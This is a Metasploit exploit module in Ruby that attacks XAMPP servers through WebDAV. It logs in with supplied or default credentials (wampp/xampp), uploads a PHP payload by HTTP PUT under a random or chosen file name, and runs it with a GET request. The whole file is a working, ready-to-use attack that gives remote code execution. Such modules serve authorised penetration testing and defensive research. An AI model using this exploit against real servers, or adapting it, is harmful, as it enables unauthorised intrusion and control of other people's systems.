##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'        => 'XAMPP WebDAV PHP Upload',
      'Description'    => %q{
          This module exploits weak WebDAV passwords on XAMPP servers.
          It uses supplied credentials to upload a PHP payload and
          execute it.
      },
      'Author'      => ['theLightCosine'],
      'Platform'    => 'php',
      'Arch'        => ARCH_PHP,
      'Targets'     =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => 'Jan 14 2012',
      'DefaultTarget'  => 0
    )

    register_options(
      [
        OptString.new('PATH', [ true,  "The path to attempt to upload", '/webdav/']),
        OptString.new('FILENAME', [ false ,  "The filename to give the payload. (Leave Blank for Random)"]),
        OptString.new('USERNAME', [true, 'The HTTP username to specify for authentication', 'wampp']),
        OptString.new('PASSWORD', [true, 'The HTTP password to specify for authentication', 'xampp'])
      ])
  end



  def exploit
    uri = build_path
    print_status "Uploading Payload to #{uri}"
    res = send_request_cgi({
          'uri'     => uri,
          'method'  => 'PUT',
          'data'	=> payload.raw,
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD']
        }, 25)
    unless (res and res.code == 201)
      print_error "Failed to upload file!"
      return
    end
    print_status "Attempting to execute Payload"
    res = send_request_cgi({
      'uri'          =>  uri,
      'method'       => 'GET'
    }, 20)
  end



  def build_path
    uri_path = normalize_uri(datastore['PATH'])
    uri_path << '/' unless uri_path.ends_with?('/')
    if datastore['FILENAME']
      uri_path << datastore['FILENAME']
      uri_path << '.php' unless uri_path.ends_with?('.php')
    else
      uri_path << Rex::Text.rand_text_alphanumeric(7)
      uri_path << '.php'
    end
    return uri_path
  end
end
